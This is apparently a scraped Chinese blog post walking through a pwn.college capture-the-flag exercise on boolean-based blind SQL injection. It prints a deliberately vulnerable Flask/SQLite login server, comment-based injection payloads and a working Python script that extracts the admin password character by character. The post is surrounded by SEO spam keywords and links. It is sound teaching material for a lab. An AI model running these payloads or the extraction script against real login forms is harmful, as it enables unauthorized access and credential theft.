当前位置: 首页 > news >正文

wordpress中文cms泰州seo外包公司

wordpress中文cms,泰州seo外包公司,厦门网站建设公司哪个好,电子商务网站建设的首要问题在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-b…

在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-based Blind SQL Injection)。

我们可以通过构造一系列的"是/否"问题,并根据应用程序的响应来逐位获取flag。

服务器的处理逻辑如下所示:

#!/opt/pwn.college/pythonimport tempfile
import sqlite3
import flask
import osapp = flask.Flask(__name__)class TemporaryDB:def __init__(self):self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")def execute(self, sql, parameters=()):connection = sqlite3.connect(self.db_file.name)connection.row_factory = sqlite3.Rowcursor = connection.cursor()result = cursor.execute(sql, parameters)connection.commit()return resultdb = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")@app.route("/", methods=["POST"])
def challenge_post():username = flask.request.form.get("username")password = flask.request.form.get("password")if not username:flask.abort(400, "Missing `username` form parameter")if not password:flask.abort(400, "Missing `password` form parameter")try:# https://www.sqlite.org/lang_select.htmlquery = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'print(f"DEBUG: {query=}")user = db.execute(query).fetchone()except sqlite3.Error as e:flask.abort(500, f"Query: {query}\nError: {e}")if not user:flask.abort(403, "Invalid username or password")flask.session["user"] = usernamereturn flask.redirect(flask.request.path)@app.route("/", methods=["GET"])
def challenge_get():if not (username := flask.session.get("user", None)):page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."else:page = f"<html><body>Hello, {username}!"return page + """<hr><form method=post>User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit></form></body></html>"""app.secret_key = os.urandom(8)
port = 8080 if os.geteuid() else 80
app.config['SERVER_NAME'] = f"challenge.localhost:{port}"
app.run("challenge.localhost", port)

这里我们需要构造合适的payload:  

admin"--

-- 注释掉查询的剩余部分

整个查询会变成:

SELECT rowid, * FROM users WHERE username = "admin"--" AND password = "anything"

进一步得到

SELECT rowid, * FROM users WHERE username = "admin" AND substr((SELECT password FROM users WHERE username="admin"), 1, 1) = "a"--" AND password = "anything"

构造脚本逐字符猜测

import requests
import stringurl = "http://challenge.localhost:8080"
flag = ""
charset = string.printable.strip()def check(payload):response = requests.post(url, data={"username": payload, "password": "anything"}, allow_redirects=False)return response.status_code == 302# 获取flag长度
for i in range(1, 100):payload = f'admin" AND length((SELECT password FROM users WHERE username="admin")) = {i}--'if check(payload):print(f"Flag length: {i}")flag_length = ibreak# 获取flag内容
for i in range(1, flag_length + 1):for char in charset:payload = f'admin" AND substr((SELECT password FROM users WHERE username="admin"), {i}, 1) = "{char}"--'if check(payload):flag += charprint(f"Current flag: {flag}")breakprint(f"Final flag: {flag}")

http://www.ds6.com.cn/news/16033.html

相关文章:

  • 日本免费saas crmseo是什么东西
  • a站网址沈阳专业网站seo推广
  • 网站刷链接怎么做的百度打开
  • 广州市做网站深圳网站推广公司
  • 成都注册公司代办哪家好陕西seo主管
  • 那些小网站是哪里人做的今日nba数据帝
  • 网站对于企业的作用公司专业网站建设
  • 中国武汉建设网官网系统优化大师
  • 电脑版网站制作公司保定网站建设报价
  • 河南省电力工程建设企业协会网站网上怎么发布广告
  • 做信息发布网站要多少钱百度软件
  • 新疆建设兵团第一师网站百度网盘pc网页版入口
  • 网站建设与开发课程内容网络推广员是什么
  • 电子商务网站建设的工具游戏推广员骗局
  • 什么网站教做医学实验报告百度站长统计
  • 服装网都有哪些网站百度平台投诉人工电话
  • ui下载高清素材的网站有哪些网络营销的方式与手段
  • 做网站经常用的术语搜图片百度识图
  • 做殡葬名片的网站搜索引擎优化叫什么
  • 做网站698靠谱吗怎么制作网站平台
  • 新疆网app厦门seo网站优化
  • 石家庄设计网站公司百度搜索资源平台提交
  • 购物网站怎么做优化代运营公司可靠吗
  • 中国建设银行支付网站快速seo关键词优化技巧
  • 莱芜做网站号码网站优化排名操作
  • 做外贸怎样打开国外网站logo设计
  • 微信的微网站模板下载拓客渠道有哪些
  • 福州专业网站设计团队整站seo优化公司
  • 大地资源在线观看视频在线观看公司seo推广营销网站
  • 网站备案知识做网页用什么软件好